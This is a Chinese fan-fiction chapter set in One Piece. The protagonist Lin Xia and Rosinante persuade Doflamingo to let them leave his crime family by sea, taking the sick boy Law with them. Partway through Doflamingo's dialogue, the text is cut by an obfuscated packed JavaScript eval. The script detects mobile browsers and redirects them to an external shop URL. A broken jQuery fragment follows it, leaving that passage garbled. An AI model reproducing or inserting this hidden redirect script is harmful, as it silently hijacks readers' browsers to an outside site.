文趣网 > 其他小说 > [海贼王]伟大航路,借过 > 9. 一起出海吧
    *一*

    林夏是在某个普通的早上,意识到自己在这里待满三年的。

    和第一年那次一样:没人提醒,没什么特别的事,就是调出面板,看见日期,停了三秒,关掉,继续。

    但这三秒和第一年的三秒不一样。第一年停下来,是在确认"我还活着"。第三年停下来,是在确认"这三年,我变成了什么"。

    她十五岁,Lv.40,武力到了海军中校的水准。家族里在这个数字之上的,只有多弗、几位最高级别的干部,和罗西南迪——他真实的等级她不知道,但海军本部的中校,不会低。这个数字之下的,是其余所有人,包括罗。

    她比罗快,一直比他快。不是更努力,是因为她幸运值五,遇到的危险比谁都多,危险带来实战,实战带来经验。这是个残酷但有效的成长机制——如果幸运五这件事有什么好处,大概就这一个。

    魅力值在十四岁之后失了控,从90爬到97。脏脸和剪坏的头发还在用,但效果一年比一年低——认识她的人不会被表面骗,他们看的是"林夏"这个人,不是"一个邋遢小孩"那个印象。

    而认识她的人,越来越多了。

    *二*

    出名是从第二年下半年开始的。

    多弗开始给她派正式任务——她自己拿任务令,自己带人,自己决策,自己回来汇报。一次北海岛屿的情报收集,一次拦截,之后就记不清顺序了,反正一个接一个,每次都完成,没出过大纰漏。她刻意在每次任务里留一点"看起来比较走运"的成分,不让任何人觉得她完全可预测——一个有点不可测的人,在这个家族里更安全。

    但三次之后,所有人都知道了:这个叫林夏的预备干部,真能干。

    能干的结果,是位置。

    家族每天一起吃饭。那个场面,对一个刚进来、还没看懂的人,几乎像个家——很吵,有人拌嘴,有人讲荤段子,多弗坐在主位上拍桌大笑,baby-5给人倒水,巴法罗偷点心。气氛是松的,松到你会忘了这是个做什么生意的地方。

    但那份松,只对自己人。

    而"自己人"是分层的,分层就写在座位里。

    没有人规定过谁坐哪儿。可多弗坐主位,最高的几个干部坐他两侧,往下一级坐中段,预备干部和孩子们坐末端——这件事从来没人明说,但所有人都知道自己该坐哪儿,错一个位置都不会有。

    林夏是某天才意识到,自己的座位正在往中间挪。

    三年前她坐在最末端,挨着baby-5和巴法罗。如今她的位置,一顿饭一顿饭地,往上漂了三四个身位。没有人通知她"你升了",就是某天她拉开椅子坐下,发现身边坐的人不一样了,离主位近了一点,离末端远了一点。

    那一刻她懂了:这张桌子是一架梯子。她在往上爬,不管愿不愿意。

    她也懂了另一件事——饭,不是白给的。

    家族管你饭,管你住,受了伤有人包扎,立了功有人记着。这一切看起来像照顾,本质是债。你在这张桌上吃的每一顿,都让你更欠它一点;你坐得越靠上,欠得越多,能走的可能就越小。

    这是一套不用锁链的锁链。它先把你喂饱,再让你发现,你已经走不了了。

    更靠上的位置,还附带另一样东西:他们开始不瞒着你了。

    因为他们认定,你早晚是正式干部,是自己人里的自己人。所以例会上那些原本会把预备干部清出去再谈的事,现在当着她的面谈:哪条航线在运什么,哪一批"货"卖去了哪里,哪个不听话的镇子要怎么处理,哪个泄过密的人,最后是怎么没的。

    林夏坐在桌边,脸是木的,把这些一条条听进去,归档。

    她杀过人。捕奴团,海贼,那些自己选了这条路、刀口向着别人的人,她下手不犹豫。但例会上谈的不是这些。例会上谈的是整船整船的活人,是被当成货的孩子,是一个抗了税的村子怎么"清场"。

    这些东西,她那颗活了两辈子、来自另一个世界的脑子,没办法安稳的接受下去。

    可她也清楚另一件事,清楚到不用系统提醒——

    这个家族,不接受离开。

    她见过一次。一个跟了多弗很多年的干部,被发现往外递了一点不该递的消息。那天饭桌一样很松,多弗一样在笑,笑着说了句什么,那个人第二天就不在了。没有人提,座位空了几天,然后被往上挪的人填满了。

    背叛的代价,是命。而离开,在多弗眼里,和背叛是同一个词。

    所以林夏的处境是:她爬在一架不想爬的梯子上,桌上的饭越吃越欠,谈的事越听越咽不下,而下梯子的唯一一种方式,是死。

    她没把这件事告诉任何人,也没表现出来。她只是把它放进那个"重要但暂时无解"的格子,放得越来越靠前。

    她在找一个缝。她不知道缝在哪,甚至不确定有没有,但她一定要找到。

    缝是罗西南迪带来的。

    *三*

    那天傍晚,罗西南迪来找她,直接推开了门,进来,关上,站着看她。

    林夏放下田野笔记,等。

    他在口袋里摸了很久,摸出小本子,写了一行举给她:

    [我要带罗离开这里。]

    她把这句话放了一下,"为什么是现在?"

    [罗的名字里,有一个D。特拉法尔加·D·瓦特尔·罗。][你知道D是什么意思吗。]

    她摇头。

    他撕下那页,在新的一页写得很长:[D是这片海上最古老的一批人留下来的东西。带这个名字的人,是世界政府天生的敌人。多弗知道D的分量。他要是发现罗名字里有这个,罗就不再是一颗有用的棋子,会变成一个威胁。][多弗怎么处理威胁,你见过。]

    林夏点头,"他的病也等不了了。"

    [等不了了。]

    她以为话到这儿就完了——他需要她帮忙,比如帮他弄一个出海的理由,她正等着他开这个口。

    但他没有。

    他翻到新的一页,停了很久才落笔,像是在斟酌一件比D更难说出口的事:

    [这三年,我一直看着你。][他们在把你变成一个,你本来不是的样子。][我不想再看着一个孩子,在这里变成那样。]

    林夏没动。

    [我没办法救所有人。]他写,[但能带走的,我想多带一个是一个。罗,你,能带走的,都带走。]

    他翻页:[你跟我们走。理由我来想,去多弗那里说的事,我来担。][有机会,就离开这个家族。]

    林夏看着那几行字,第一次,没有立刻给出回应。

    她在脑子里把这个人重新过了一遍。

    一个海军本部的中校,在魔王家里潜伏了不知道多少年,每天靠一张小丑脸和一身"废物"的伪装活着,被自己想救的孩子捅了一刀,连还手都没还。他已经把命押在带罗出走这一件事上——这已经是九死一生。

    而现在,他要把她,一个跟他没什么关系、对他没有任何用处的预备干部,也加进这局赌命里。

    他没从她这儿要任何东西。他说的是"理由我来想,事我来担"。

    林夏活了两辈子,待过的每一个地方,每一份好都是标了价的。公司里没有白给的奖金,这家族里没有白吃的饭。她早习惯了在收到任何善意时,都先去找那张暗着的价签。

    可眼前这个人,递给她一条活路,价签是空的。

    她想不通。这个世界上,怎么会有这种人——为了一件跟自己毫不相干的事,宁可把自己往更深的火里推。

    她研究了他很久,久到他大概以为她要拒绝,重新提笔想补点什么。

    "我们一起。"她先开口了。

    他停笔,抬头。

    "你负责罗的理由。"她说,"我的事自己来,带上对你负担太重了。"她顿了一下,"我比你会编,也比你安全。"

    他写:[这是我答应自己要做的事。]

    "现在它是我们俩的事了,"林夏说,"你担了罗,邀请了我,这一件,我自己来。"

    他看了她很久,写了两个字:[谢谢。]

    林夏把田野笔记重新拿起来,"别谢。我自己也需要走。"

    这是真话,但不是全部的真话,她自己清楚。她需要走,这没错。可让她在他写完那几行字之后、几乎没怎么犹豫就答应的,不全是这个。

    有一部分,是因为她想知道——一个肯为陌生人把自己往火里推的人,最后会走到哪里。她想跟着看。也想,如果能够的话,别让他一个人,走没了。

    这后半句,她没说。

    他走到门口,停住,回头又写了一行:[我知道。但谢谢。]

    然后出去了,把门带上。

    林夏看着那扇门,对系统说:【D的意志,能查到的都给我。】

    系统给的有限——这段历史被世界政府主动抹去过,只查得到:D这个名字和"空白的一百年"有关,带名字的人历史上多次在关键节点动摇过世界政府,政府视其为潜在威胁,通常监控而非清除。

    【但多弗不一样,】林夏说,【他天龙人出身,知道的比普通海军多。】

    【是的。若他发现罗的D,处置会比常人更快、更狠。】

    她把这条消化掉,开始收拾。明天她要去见多弗。

    *四*

    那天,罗西南迪带着林夏,一起去了多弗的书房。

    起头的是罗西南迪。他在这个家里一直装哑,没开口,只把一张写好的纸推到桌上:他想带罗出海求医,罗的病拖不得了。

    多弗靠在椅背上看了那张纸,转着酒杯。"罗的病。咈咈,那小鬼是块好料,将来是干部的胚子。死

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694457|207963||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在病上,可惜了。"他把纸条往回一弹,"去吧。治好了带回来。"

    这一句给罗西南迪和罗,批了。

    然后他的目光落到林夏身上,那点随意里多了一丝估量。"你呢。你跟去干什么。"

    "随行医生,柯拉松大人一个人带病人出海,不稳妥。"

    多弗笑了一下,那是要拒绝的前兆。"照看病人,派个医务室的人就行。你不一样——下个月你就该升正式干部了,这节骨眼上我正缺人。你出海几个月,浪费。"

    要拒了。

    林夏在那半秒里换了张牌。

    她侧过身,伸手,牵住了罗西南迪的手。

    这个动作她做得很自然,自然到罗西南迪整个人僵了一下。她抬起脸看着多弗,神情比平时软了许多——这个一向板着脸、把什么都算得死死的人,脸上忽然有了点少见的、藏不住的东西。

    "少主,"她声音也放轻了,"我不想和……罗西南迪分开那么久。"

    书房里安静了一瞬。

    罗西南迪的脸,以一种他自己都控制不住的速度红了。他低着头,没看任何人——但他懂她在做什么,懂这是她临时抓来的牌。所以他没抽手,反而在愣过那一下之后,把她的手反握紧了一点。

    那一握,一半是配合,一半,他自己也说不清是什么。

    多弗看着这两个人,转着酒杯,转了一圈,没说话,沉默了很久。

    在他眼里,这三个都是他的人——一个亲弟弟,一个病着的好苗子,一个能干、如今看来还有了牵挂的丫头。有牵挂的人,更好拴。他的人出海办事,办完回来,还是他的人。这个家族不缺耐心,跑得了一时,跑不出这片海。

    "咈咈,"他把酒杯放下,"行。三个一起。"

    他扬了扬下巴,目光在那只还牵着的手上停了一瞬,"但你欠我一次。回来,我要看见你真正办事。"

    "明白了,少主。"

    三个人退出书房。手是转过拐角才松开的。罗西南迪耳朵还红着,在小本子上飞快写了一行举给她:[多弗会信吗。]

    "他已经信了。"林夏说,"谢谢配合。"

    他顿了顿,又写:[下次提前说一声。]

    "来不及。"她往前走,"再说,提前说了,你脸红得没这么真,他反而不信。"

    罗西南迪没接这句。耳朵那点红,过了半条走廊才退下去。

    *五*

    天刚亮,雾还没散。那艘租来的单桅帆船停在最边上。

    林夏走上甲板,回头看了一眼正在变小的基地。

    这些年,她每天醒来先确认头顶安全,每顿饭都在算自己又欠了多少,每次例会都把咽不下去的东西绷在脸上。现在那座基地在她身后,一点一点退远。

    她没忍住,呼出一口很长的气,肩膀松了下来。她甚至摸到一点很久没有过的东西:前面是未知的海,未知里,居然掺着那么一点点,像是期待。

    罗西南迪在船尾看见了。他走过来,抬手在她头顶按了一下,然后笑了笑,很轻,是松了口气的笑。

    林夏被按得偏了偏头。她仰起脸看他,忽然笑了——不是平时那种收着的、礼节性的笑,是整张脸都松开的笑。

    她平时太少笑,板着脸惯了,所以这一笑几乎是猝不及防的。海风一吹,那张脸亮得有点不讲道理。

    她顺势挽住了他的胳膊,半是玩笑,半是真的轻松:"接下来这几个月,多多指教啦——罗西南迪。"

    罗西南迪愣住了。

    不是因为那句玩笑。是他这一刻才忽然意识到——他认识她的时候,她还是个抹着脸灰、把自己缩成最不起眼一团的小孩。这些年他顺手把她归在"要护着的人"那一栏里,顺手到没注意,那个人已经不知不觉长成了现在这个、会挽着他胳膊、笑起来海风都要让一让的样子。

    他张了张嘴,没出声。耳朵又开始发烫。

    他低头看了看挽着自己胳膊的那只手,又看了看她的笑,最后把视线移开,看向海,喉结动了一下。

    那点说不清的东西又来了,比书房里那次更清楚。他知道这不合时宜——他清楚自己这趟出去要做的是什么,也清楚这条路大概率走不到头。一个走不到头的人,不该在这种时候,对身边的人动这种念头。

    但它还是来了。

    他没让它显出来,只是又揉了揉她的头发,像把刚才那一下含糊过去,然后转身去解缆绳——那个动作他做了两次才成,比平时多废了一次。

    【检测到羁绊对象(罗西南迪)好感度+10 → 70。】

    林夏瞥了眼提示,没声张。她松开手,走到船头,看雾一点点散开,阳光从海面漫过来。

    她不知道前面是什么。但今天,她终于走出了那扇门,身边是愿意把她一起带出来的人。

    剩下的,一天一天来。